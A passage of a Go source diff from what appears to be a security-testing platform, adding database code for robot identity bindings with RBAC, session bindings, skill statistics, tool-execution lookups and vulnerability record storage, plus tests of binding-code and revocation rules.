func (db *DB) ResolveRobotRBACAccess(platform, externalUserID string) (*RBACAccess, error) {
|
||||||
|
platform, externalUserID, err := normalizeRobotIdentity(platform, externalUserID)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
var userID string
|
||||||
|
err = db.QueryRow(`
|
||||||
|
SELECT b.rbac_user_id
|
||||||
|
FROM robot_user_bindings b
|
||||||
|
JOIN rbac_users u ON u.id = b.rbac_user_id
|
||||||
|
WHERE b.platform = ? AND b.external_user_id = ? AND b.enabled = 1 AND u.enabled = 1
|
||||||
|
`, platform, externalUserID).Scan(&userID)
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
return nil, fmt.Errorf("robot identity is not bound")
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return db.ResolveRBACAccess(userID)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) ListRobotUserBindings(userID string) ([]RobotUserBinding, error) {
|
||||||
|
rows, err := db.Query(`
|
||||||
|
SELECT id, platform, external_user_id, rbac_user_id, enabled, created_at, updated_at
|
||||||
|
FROM robot_user_bindings WHERE rbac_user_id = ? ORDER BY updated_at DESC
|
||||||
|
`, strings.TrimSpace(userID))
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
var out []RobotUserBinding
|
||||||
|
for rows.Next() {
|
||||||
|
var b RobotUserBinding
|
||||||
|
var enabled int
|
||||||
|
var createdAt, updatedAt string
|
||||||
|
if err := rows.Scan(&b.ID, &b.Platform, &b.ExternalUserID, &b.RBACUserID, &enabled, &createdAt, &updatedAt); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
b.Enabled = enabled != 0
|
||||||
|
b.CreatedAt = parseDBTime(createdAt)
|
||||||
|
b.UpdatedAt = parseDBTime(updatedAt)
|
||||||
|
out = append(out, b)
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) DeleteRobotUserBindingForUser(bindingID, userID string) error {
|
||||||
|
result, err := db.Exec(`DELETE FROM robot_user_bindings WHERE id = ? AND rbac_user_id = ?`, strings.TrimSpace(bindingID), strings.TrimSpace(userID))
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if affected, _ := result.RowsAffected(); affected != 1 {
|
||||||
|
return sql.ErrNoRows
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) DeleteRobotIdentityBinding(platform, externalUserID string) error {
|
||||||
|
platform, externalUserID, err := normalizeRobotIdentity(platform, externalUserID)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
_, err = db.Exec(`DELETE FROM robot_user_bindings WHERE platform = ? AND external_user_id = ?`, platform, externalUserID)
|
||||||
|
return err
|
||||||
|
}
|
||||||
@@ -0,0 +1,89 @@
|
|||||||
|
package database_test
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
"cyberstrike-ai/internal/security"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestRobotBindingCodeIsSingleUseAndPermissionsAreResolvedLive(t *testing.T) {
|
||||||
|
db, err := database.NewDB(t.TempDir()+"/robot-identity.db", zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = db.Close() })
|
||||||
|
if err := db.BootstrapRBAC("hash", security.PermissionCatalog); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
user, err := db.CreateRBACUser("bound-user", "Bound User", "hash", true, []string{database.RBACSystemRoleOperator})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.CreateRobotBindingCode(user.ID, "code-hash", time.Now().Add(time.Minute)); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
bound, err := db.ConsumeRobotBindingCode("LARK", "t:tenant|u:user", "code-hash")
|
||||||
|
if err != nil || bound.ID != user.ID {
|
||||||
|
t.Fatalf("consume binding code: user=%v err=%v", bound, err)
|
||||||
|
}
|
||||||
|
if _, err := db.ConsumeRobotBindingCode("lark", "t:tenant|u:other", "code-hash"); err == nil {
|
||||||
|
t.Fatal("single-use binding code was accepted twice")
|
||||||
|
}
|
||||||
|
access, err := db.ResolveRobotRBACAccess("lark", "t:tenant|u:user")
|
||||||
|
if err != nil || !access.Permissions["agent:execute"] {
|
||||||
|
t.Fatalf("resolved access does not include live role permissions: %#v err=%v", access, err)
|
||||||
|
}
|
||||||
|
disabled := false
|
||||||
|
if err := db.UpdateRBACUser(user.ID, user.DisplayName, &disabled, nil); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, err := db.ResolveRobotRBACAccess("lark", "t:tenant|u:user"); err == nil {
|
||||||
|
t.Fatal("disabled RBAC user retained robot access")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRobotBindingCodeExpiryAndOwnerScopedRevocation(t *testing.T) {
|
||||||
|
db, err := database.NewDB(t.TempDir()+"/robot-revoke.db", zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = db.Close() })
|
||||||
|
if err := db.BootstrapRBAC("hash", security.PermissionCatalog); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
u1, _ := db.CreateRBACUser("binding-owner", "Owner", "hash", true, nil)
|
||||||
|
u2, _ := db.CreateRBACUser("binding-other", "Other", "hash", true, nil)
|
||||||
|
now := time.Now()
|
||||||
|
if _, err := db.Exec(`INSERT INTO robot_binding_codes (code_hash, rbac_user_id, expires_at, created_at) VALUES (?, ?, ?, ?)`, "expired-hash", u1.ID, now.Add(-time.Minute), now.Add(-2*time.Minute)); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, err := db.ConsumeRobotBindingCode("wecom", "t:corp|u:expired", "expired-hash"); err == nil {
|
||||||
|
t.Fatal("expired binding code was accepted")
|
||||||
|
}
|
||||||
|
if err := db.CreateRobotBindingCode(u1.ID, "valid-hash", time.Now().Add(time.Minute)); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, err := db.ConsumeRobotBindingCode("wecom", "t:corp|u:one", "valid-hash"); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
bindings, err := db.ListRobotUserBindings(u1.ID)
|
||||||
|
if err != nil || len(bindings) != 1 {
|
||||||
|
t.Fatalf("bindings=%v err=%v", bindings, err)
|
||||||
|
}
|
||||||
|
if err := db.DeleteRobotUserBindingForUser(bindings[0].ID, u2.ID); err == nil {
|
||||||
|
t.Fatal("another user revoked a binding they do not own")
|
||||||
|
}
|
||||||
|
if _, err := db.ResolveRobotRBACAccess("wecom", "t:corp|u:one"); err != nil {
|
||||||
|
t.Fatalf("unauthorized revocation changed binding: %v", err)
|
||||||
|
}
|
||||||
|
if err := db.DeleteRobotUserBindingForUser(bindings[0].ID, u1.ID); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, err := db.ResolveRobotRBACAccess("wecom", "t:corp|u:one"); err == nil {
|
||||||
|
t.Fatal("revoked binding still resolves")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,93 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"database/sql"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// RobotSessionBinding 机器人会话绑定信息。
|
||||||
|
type RobotSessionBinding struct {
|
||||||
|
SessionKey string
|
||||||
|
ConversationID string
|
||||||
|
RoleName string
|
||||||
|
AgentMode string
|
||||||
|
UpdatedAt time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetRobotSessionBinding 按 session_key 获取机器人会话绑定。
|
||||||
|
func (db *DB) GetRobotSessionBinding(sessionKey string) (*RobotSessionBinding, error) {
|
||||||
|
sessionKey = strings.TrimSpace(sessionKey)
|
||||||
|
if sessionKey == "" {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
var b RobotSessionBinding
|
||||||
|
var updatedAt string
|
||||||
|
err := db.QueryRow(
|
||||||
|
"SELECT session_key, conversation_id, role_name, agent_mode, updated_at FROM robot_user_sessions WHERE session_key = ?",
|
||||||
|
sessionKey,
|
||||||
|
).Scan(&b.SessionKey, &b.ConversationID, &b.RoleName, &b.AgentMode, &updatedAt)
|
||||||
|
if err != nil {
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
return nil, fmt.Errorf("查询机器人会话绑定失败: %w", err)
|
||||||
|
}
|
||||||
|
if t, e := time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt); e == nil {
|
||||||
|
b.UpdatedAt = t
|
||||||
|
} else if t, e := time.Parse("2006-01-02 15:04:05", updatedAt); e == nil {
|
||||||
|
b.UpdatedAt = t
|
||||||
|
} else {
|
||||||
|
b.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(b.RoleName) == "" {
|
||||||
|
b.RoleName = "默认"
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(b.AgentMode) == "" {
|
||||||
|
b.AgentMode = "eino_single"
|
||||||
|
}
|
||||||
|
return &b, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpsertRobotSessionBinding 写入或更新机器人会话绑定(包含角色)。
|
||||||
|
func (db *DB) UpsertRobotSessionBinding(sessionKey, conversationID, roleName, agentMode string) error {
|
||||||
|
sessionKey = strings.TrimSpace(sessionKey)
|
||||||
|
conversationID = strings.TrimSpace(conversationID)
|
||||||
|
roleName = strings.TrimSpace(roleName)
|
||||||
|
agentMode = strings.TrimSpace(agentMode)
|
||||||
|
if sessionKey == "" || conversationID == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if roleName == "" {
|
||||||
|
roleName = "默认"
|
||||||
|
}
|
||||||
|
if agentMode == "" {
|
||||||
|
agentMode = "eino_single"
|
||||||
|
}
|
||||||
|
_, err := db.Exec(`
|
||||||
|
INSERT INTO robot_user_sessions (session_key, conversation_id, role_name, agent_mode, updated_at)
|
||||||
|
VALUES (?, ?, ?, ?, ?)
|
||||||
|
ON CONFLICT(session_key) DO UPDATE SET
|
||||||
|
conversation_id = excluded.conversation_id,
|
||||||
|
role_name = excluded.role_name,
|
||||||
|
agent_mode = excluded.agent_mode,
|
||||||
|
updated_at = excluded.updated_at
|
||||||
|
`, sessionKey, conversationID, roleName, agentMode, time.Now())
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("写入机器人会话绑定失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// DeleteRobotSessionBinding 删除机器人会话绑定。
|
||||||
|
func (db *DB) DeleteRobotSessionBinding(sessionKey string) error {
|
||||||
|
sessionKey = strings.TrimSpace(sessionKey)
|
||||||
|
if sessionKey == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if _, err := db.Exec("DELETE FROM robot_user_sessions WHERE session_key = ?", sessionKey); err != nil {
|
||||||
|
return fmt.Errorf("删除机器人会话绑定失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,142 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"database/sql"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
// SkillStats Skills统计信息
|
||||||
|
type SkillStats struct {
|
||||||
|
SkillName string
|
||||||
|
TotalCalls int
|
||||||
|
SuccessCalls int
|
||||||
|
FailedCalls int
|
||||||
|
LastCallTime *time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
// SaveSkillStats 保存Skills统计信息
|
||||||
|
func (db *DB) SaveSkillStats(skillName string, stats *SkillStats) error {
|
||||||
|
var lastCallTime sql.NullTime
|
||||||
|
if stats.LastCallTime != nil {
|
||||||
|
lastCallTime = sql.NullTime{Time: *stats.LastCallTime, Valid: true}
|
||||||
|
}
|
||||||
|
|
||||||
|
query := `
|
||||||
|
INSERT OR REPLACE INTO skill_stats
|
||||||
|
(skill_name, total_calls, success_calls, failed_calls, last_call_time, updated_at)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?)
|
||||||
|
`
|
||||||
|
|
||||||
|
_, err := db.Exec(query,
|
||||||
|
skillName,
|
||||||
|
stats.TotalCalls,
|
||||||
|
stats.SuccessCalls,
|
||||||
|
stats.FailedCalls,
|
||||||
|
lastCallTime,
|
||||||
|
time.Now(),
|
||||||
|
)
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Error("保存Skills统计信息失败", zap.Error(err), zap.String("skillName", skillName))
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// LoadSkillStats 加载所有Skills统计信息
|
||||||
|
func (db *DB) LoadSkillStats() (map[string]*SkillStats, error) {
|
||||||
|
query := `
|
||||||
|
SELECT skill_name, total_calls, success_calls, failed_calls, last_call_time
|
||||||
|
FROM skill_stats
|
||||||
|
`
|
||||||
|
|
||||||
|
rows, err := db.Query(query)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
stats := make(map[string]*SkillStats)
|
||||||
|
for rows.Next() {
|
||||||
|
var stat SkillStats
|
||||||
|
var lastCallTime sql.NullTime
|
||||||
|
|
||||||
|
err := rows.Scan(
|
||||||
|
&stat.SkillName,
|
||||||
|
&stat.TotalCalls,
|
||||||
|
&stat.SuccessCalls,
|
||||||
|
&stat.FailedCalls,
|
||||||
|
&lastCallTime,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Warn("加载Skills统计信息失败", zap.Error(err))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if lastCallTime.Valid {
|
||||||
|
stat.LastCallTime = &lastCallTime.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
stats[stat.SkillName] = &stat
|
||||||
|
}
|
||||||
|
|
||||||
|
return stats, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpdateSkillStats 更新Skills统计信息(累加模式)
|
||||||
|
func (db *DB) UpdateSkillStats(skillName string, totalCalls, successCalls, failedCalls int, lastCallTime *time.Time) error {
|
||||||
|
var lastCallTimeSQL sql.NullTime
|
||||||
|
if lastCallTime != nil {
|
||||||
|
lastCallTimeSQL = sql.NullTime{Time: *lastCallTime, Valid: true}
|
||||||
|
}
|
||||||
|
|
||||||
|
query := `
|
||||||
|
INSERT INTO skill_stats (skill_name, total_calls, success_calls, failed_calls, last_call_time, updated_at)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?)
|
||||||
|
ON CONFLICT(skill_name) DO UPDATE SET
|
||||||
|
total_calls = total_calls + ?,
|
||||||
|
success_calls = success_calls + ?,
|
||||||
|
failed_calls = failed_calls + ?,
|
||||||
|
last_call_time = COALESCE(?, last_call_time),
|
||||||
|
updated_at = ?
|
||||||
|
`
|
||||||
|
|
||||||
|
_, err := db.Exec(query,
|
||||||
|
skillName, totalCalls, successCalls, failedCalls, lastCallTimeSQL, time.Now(),
|
||||||
|
totalCalls, successCalls, failedCalls, lastCallTimeSQL, time.Now(),
|
||||||
|
)
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Error("更新Skills统计信息失败", zap.Error(err), zap.String("skillName", skillName))
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ClearSkillStats 清空所有Skills统计信息
|
||||||
|
func (db *DB) ClearSkillStats() error {
|
||||||
|
query := `DELETE FROM skill_stats`
|
||||||
|
_, err := db.Exec(query)
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Error("清空Skills统计信息失败", zap.Error(err))
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
db.logger.Info("已清空所有Skills统计信息")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ClearSkillStatsByName 清空指定skill的统计信息
|
||||||
|
func (db *DB) ClearSkillStatsByName(skillName string) error {
|
||||||
|
query := `DELETE FROM skill_stats WHERE skill_name = ?`
|
||||||
|
_, err := db.Exec(query, skillName)
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Error("清空指定skill统计信息失败", zap.Error(err), zap.String("skillName", skillName))
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
db.logger.Info("已清空指定skill统计信息", zap.String("skillName", skillName))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// formatSQLiteUTC stores instants as UTC RFC3339 for consistent SQLite reads/writes.
|
||||||
|
func formatSQLiteUTC(t time.Time) string {
|
||||||
|
return t.UTC().Format(time.RFC3339Nano)
|
||||||
|
}
|
||||||
|
|
||||||
|
// sqliteEpochGE returns SQL comparing column to param as Unix seconds (timezone-safe).
|
||||||
|
func sqliteEpochGE(column, op string) string {
|
||||||
|
return "strftime('%s', " + column + ") " + op + " strftime('%s', ?)"
|
||||||
|
}
|
||||||
|
|
||||||
|
// ParseRFC3339Time parses API/query timestamps (RFC3339 or RFC3339Nano).
|
||||||
|
func ParseRFC3339Time(value string) (time.Time, error) {
|
||||||
|
value = strings.TrimSpace(value)
|
||||||
|
if value == "" {
|
||||||
|
return time.Time{}, errors.New("empty time value")
|
||||||
|
}
|
||||||
|
if t, err := time.Parse(time.RFC3339Nano, value); err == nil {
|
||||||
|
return t.UTC(), nil
|
||||||
|
}
|
||||||
|
t, err := time.Parse(time.RFC3339, value)
|
||||||
|
if err != nil {
|
||||||
|
return time.Time{}, err
|
||||||
|
}
|
||||||
|
return t.UTC(), nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,57 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"database/sql"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// FindNearestToolExecutionArguments returns the arguments for the execution record
|
||||||
|
// closest to a persisted tool_call detail. Eino can persist a tool_call with empty
|
||||||
|
// model arguments while the monitor execution row still has the real command/URL.
|
||||||
|
func (db *DB) FindNearestToolExecutionArguments(conversationID, toolName string, at time.Time, window time.Duration) (string, map[string]interface{}, error) {
|
||||||
|
conversationID = strings.TrimSpace(conversationID)
|
||||||
|
toolName = strings.TrimSpace(toolName)
|
||||||
|
if db == nil || conversationID == "" || toolName == "" || at.IsZero() {
|
||||||
|
return "", nil, sql.ErrNoRows
|
||||||
|
}
|
||||||
|
if window <= 0 {
|
||||||
|
window = 5 * time.Second
|
||||||
|
}
|
||||||
|
names := []string{toolName}
|
||||||
|
if !strings.Contains(toolName, "::") {
|
||||||
|
names = append(names, "eino_fs::"+toolName)
|
||||||
|
}
|
||||||
|
start := at.Add(-window)
|
||||||
|
end := at.Add(window)
|
||||||
|
rows, err := db.Query(`
|
||||||
|
SELECT id, arguments
|
||||||
|
FROM tool_executions
|
||||||
|
WHERE conversation_id = ?
|
||||||
|
AND tool_name IN (?, ?)
|
||||||
|
AND julianday(start_time) BETWEEN julianday(?) AND julianday(?)
|
||||||
|
ORDER BY ABS(julianday(start_time) - julianday(?)) ASC, start_time ASC
|
||||||
|
LIMIT 1`, conversationID, names[0], names[len(names)-1], start, end, at)
|
||||||
|
if err != nil {
|
||||||
|
return "", nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
if !rows.Next() {
|
||||||
|
if err := rows.Err(); err != nil {
|
||||||
|
return "", nil, err
|
||||||
|
}
|
||||||
|
return "", nil, sql.ErrNoRows
|
||||||
|
}
|
||||||
|
var id string
|
||||||
|
var raw string
|
||||||
|
if err := rows.Scan(&id, &raw); err != nil {
|
||||||
|
return "", nil, err
|
||||||
|
}
|
||||||
|
var args map[string]interface{}
|
||||||
|
if err := json.Unmarshal([]byte(raw), &args); err != nil {
|
||||||
|
return "", nil, fmt.Errorf("parse tool execution arguments: %w", err)
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(id), args, nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,547 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"database/sql"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/google/uuid"
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
// VulnerabilityListFilter 列表/统计/导出共用的筛选条件
|
||||||
|
type VulnerabilityListFilter struct {
|
||||||
|
ID string
|
||||||
|
Search string // 关键词模糊匹配(标题、描述、类型、目标等)
|
||||||
|
ConversationID string
|
||||||
|
ProjectID string
|
||||||
|
Severity string
|
||||||
|
Status string
|
||||||
|
TaskID string
|
||||||
|
ConversationTag string
|
||||||
|
TaskTag string
|
||||||
|
}
|
||||||
|
|
||||||
|
type RBACListAccess struct {
|
||||||
|
UserID string
|
||||||
|
Scope string
|
||||||
|
}
|
||||||
|
|
||||||
|
func escapeVulnerabilityLikePattern(s string) string {
|
||||||
|
s = strings.ReplaceAll(s, `\`, `\\`)
|
||||||
|
s = strings.ReplaceAll(s, `%`, `\%`)
|
||||||
|
s = strings.ReplaceAll(s, `_`, `\_`)
|
||||||
|
return "%" + s + "%"
|
||||||
|
}
|
||||||
|
|
||||||
|
func (f VulnerabilityListFilter) appendWhere(query string, args []interface{}) (string, []interface{}) {
|
||||||
|
if f.ID != "" {
|
||||||
|
query += " AND id = ?"
|
||||||
|
args = append(args, f.ID)
|
||||||
|
}
|
||||||
|
if f.ConversationID != "" {
|
||||||
|
query += " AND conversation_id = ?"
|
||||||
|
args = append(args, f.ConversationID)
|
||||||
|
}
|
||||||
|
if f.ProjectID != "" {
|
||||||
|
query += " AND project_id = ?"
|
||||||
|
args = append(args, f.ProjectID)
|
||||||
|
}
|
||||||
|
if f.TaskID != "" {
|
||||||
|
query += " AND EXISTS (SELECT 1 FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id AND (bt.id = ? OR bt.queue_id = ?))"
|
||||||
|
args = append(args, f.TaskID, f.TaskID)
|
||||||
|
}
|
||||||
|
if f.ConversationTag != "" {
|
||||||
|
query += " AND conversation_tag = ?"
|
||||||
|
args = append(args, f.ConversationTag)
|
||||||
|
}
|
||||||
|
if f.TaskTag != "" {
|
||||||
|
query += " AND task_tag = ?"
|
||||||
|
args = append(args, f.TaskTag)
|
||||||
|
}
|
||||||
|
if f.Severity != "" {
|
||||||
|
query += " AND severity = ?"
|
||||||
|
args = append(args, f.Severity)
|
||||||
|
}
|
||||||
|
if f.Status != "" {
|
||||||
|
query += " AND status = ?"
|
||||||
|
args = append(args, f.Status)
|
||||||
|
}
|
||||||
|
search := strings.TrimSpace(f.Search)
|
||||||
|
if search != "" {
|
||||||
|
pattern := escapeVulnerabilityLikePattern(search)
|
||||||
|
query += ` AND (
|
||||||
|
LOWER(id) LIKE LOWER(?) OR
|
||||||
|
LOWER(title) LIKE LOWER(?) OR
|
||||||
|
LOWER(COALESCE(description, '')) LIKE LOWER(?) OR
|
||||||
|
LOWER(COALESCE(vulnerability_type, '')) LIKE LOWER(?) OR
|
||||||
|
LOWER(COALESCE(target, '')) LIKE LOWER(?) OR
|
||||||
|
LOWER(COALESCE(preconditions, '')) LIKE LOWER(?) OR
|
||||||
|
LOWER(COALESCE(reproduction_steps, '')) LIKE LOWER(?) OR
|
||||||
|
LOWER(COALESCE(evidence, '')) LIKE LOWER(?) OR
|
||||||
|
LOWER(COALESCE(impact, '')) LIKE LOWER(?) OR
|
||||||
|
LOWER(COALESCE(recommendation, '')) LIKE LOWER(?) OR
|
||||||
|
LOWER(COALESCE(retest_notes, '')) LIKE LOWER(?) OR
|
||||||
|
LOWER(COALESCE(conversation_id, '')) LIKE LOWER(?) OR
|
||||||
|
LOWER(COALESCE(conversation_tag, '')) LIKE LOWER(?) OR
|
||||||
|
LOWER(COALESCE(task_tag, '')) LIKE LOWER(?)
|
||||||
|
)`
|
||||||
|
for i := 0; i < 14; i++ {
|
||||||
|
args = append(args, pattern)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return query, args
|
||||||
|
}
|
||||||
|
|
||||||
|
func appendVulnerabilityAccessFilter(query string, args []interface{}, access RBACListAccess) (string, []interface{}) {
|
||||||
|
userID := strings.TrimSpace(access.UserID)
|
||||||
|
if userID == "" || access.Scope == RBACScopeAll {
|
||||||
|
return query, args
|
||||||
|
}
|
||||||
|
query += ` AND (
|
||||||
|
owner_user_id = ?
|
||||||
|
OR EXISTS (
|
||||||
|
SELECT 1 FROM rbac_resource_assignments ra
|
||||||
|
WHERE ra.user_id = ? AND ra.resource_type = 'vulnerability' AND ra.resource_id = vulnerabilities.id
|
||||||
|
)
|
||||||
|
OR (
|
||||||
|
project_id IS NOT NULL AND project_id <> '' AND (
|
||||||
|
EXISTS (SELECT 1 FROM projects p WHERE p.id = vulnerabilities.project_id AND p.owner_user_id = ?)
|
||||||
|
OR EXISTS (
|
||||||
|
SELECT 1 FROM rbac_resource_assignments pra
|
||||||
|
WHERE pra.user_id = ? AND pra.resource_type = 'project' AND pra.resource_id = vulnerabilities.project_id
|
||||||
|
)
|
||||||
|
)
|
||||||
|
)
|
||||||
|
OR (
|
||||||
|
conversation_id IS NOT NULL AND conversation_id <> '' AND (
|
||||||
|
EXISTS (SELECT 1 FROM conversations c WHERE c.id = vulnerabilities.conversation_id AND c.owner_user_id = ?)
|
||||||
|
OR EXISTS (
|
||||||
|
SELECT 1 FROM rbac_resource_assignments cra
|
||||||
|
WHERE cra.user_id = ? AND cra.resource_type = 'conversation' AND cra.resource_id = vulnerabilities.conversation_id
|
||||||
|
)
|
||||||
|
)
|
||||||
|
)
|
||||||
|
)`
|
||||||
|
args = append(args, userID, userID, userID, userID, userID, userID)
|
||||||
|
return query, args
|
||||||
|
}
|
||||||
|
|
||||||
|
// Vulnerability 漏洞
|
||||||
|
type Vulnerability struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
ConversationID string `json:"conversation_id"`
|
||||||
|
ProjectID string `json:"project_id,omitempty"`
|
||||||
|
ConversationTag string `json:"conversation_tag,omitempty"`
|
||||||
|
TaskTag string `json:"task_tag,omitempty"`
|
||||||
|
TaskID string `json:"task_id,omitempty"`
|
||||||
|
TaskQueueID string `json:"task_queue_id,omitempty"`
|
||||||
|
Title string `json:"title"`
|
||||||
|
Description string `json:"description"`
|
||||||
|
Severity string `json:"severity"` // critical, high, medium, low, info
|
||||||
|
Status string `json:"status"` // open, confirmed, fixed, false_positive, ignored
|
||||||
|
Type string `json:"type"`
|
||||||
|
Target string `json:"target"`
|
||||||
|
Preconditions string `json:"preconditions"`
|
||||||
|
ReproSteps string `json:"reproduction_steps"`
|
||||||
|
Evidence string `json:"evidence"`
|
||||||
|
Impact string `json:"impact"`
|
||||||
|
Recommendation string `json:"recommendation"`
|
||||||
|
RetestNotes string `json:"retest_notes"`
|
||||||
|
CreatedAt time.Time `json:"created_at"`
|
||||||
|
UpdatedAt time.Time `json:"updated_at"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// CreateVulnerability 创建漏洞
|
||||||
|
func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
|
||||||
|
if vuln.ID == "" {
|
||||||
|
vuln.ID = uuid.New().String()
|
||||||
|
}
|
||||||
|
if vuln.Status == "" {
|
||||||
|
vuln.Status = "open"
|
||||||
|
}
|
||||||
|
now := time.Now()
|
||||||
|
if vuln.CreatedAt.IsZero() {
|
||||||
|
vuln.CreatedAt = now
|
||||||
|
}
|
||||||
|
vuln.UpdatedAt = now
|
||||||
|
|
||||||
|
if strings.TrimSpace(vuln.ProjectID) == "" && vuln.ConversationID != "" {
|
||||||
|
if pid, err := db.GetConversationProjectID(vuln.ConversationID); err == nil {
|
||||||
|
vuln.ProjectID = pid
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
query := `
|
||||||
|
INSERT INTO vulnerabilities (
|
||||||
|
id, conversation_id, project_id, conversation_tag, task_tag, title, description, severity, status,
|
||||||
|
vulnerability_type, target, preconditions, reproduction_steps, evidence, impact, recommendation, retest_notes,
|
||||||
|
created_at, updated_at
|
||||||
|
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||||
|
`
|
||||||
|
|
||||||
|
_, err := db.Exec(
|
||||||
|
query,
|
||||||
|
vuln.ID, nullIfEmpty(vuln.ConversationID), nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
|
||||||
|
vuln.Severity, vuln.Status, vuln.Type, vuln.Target,
|
||||||
|
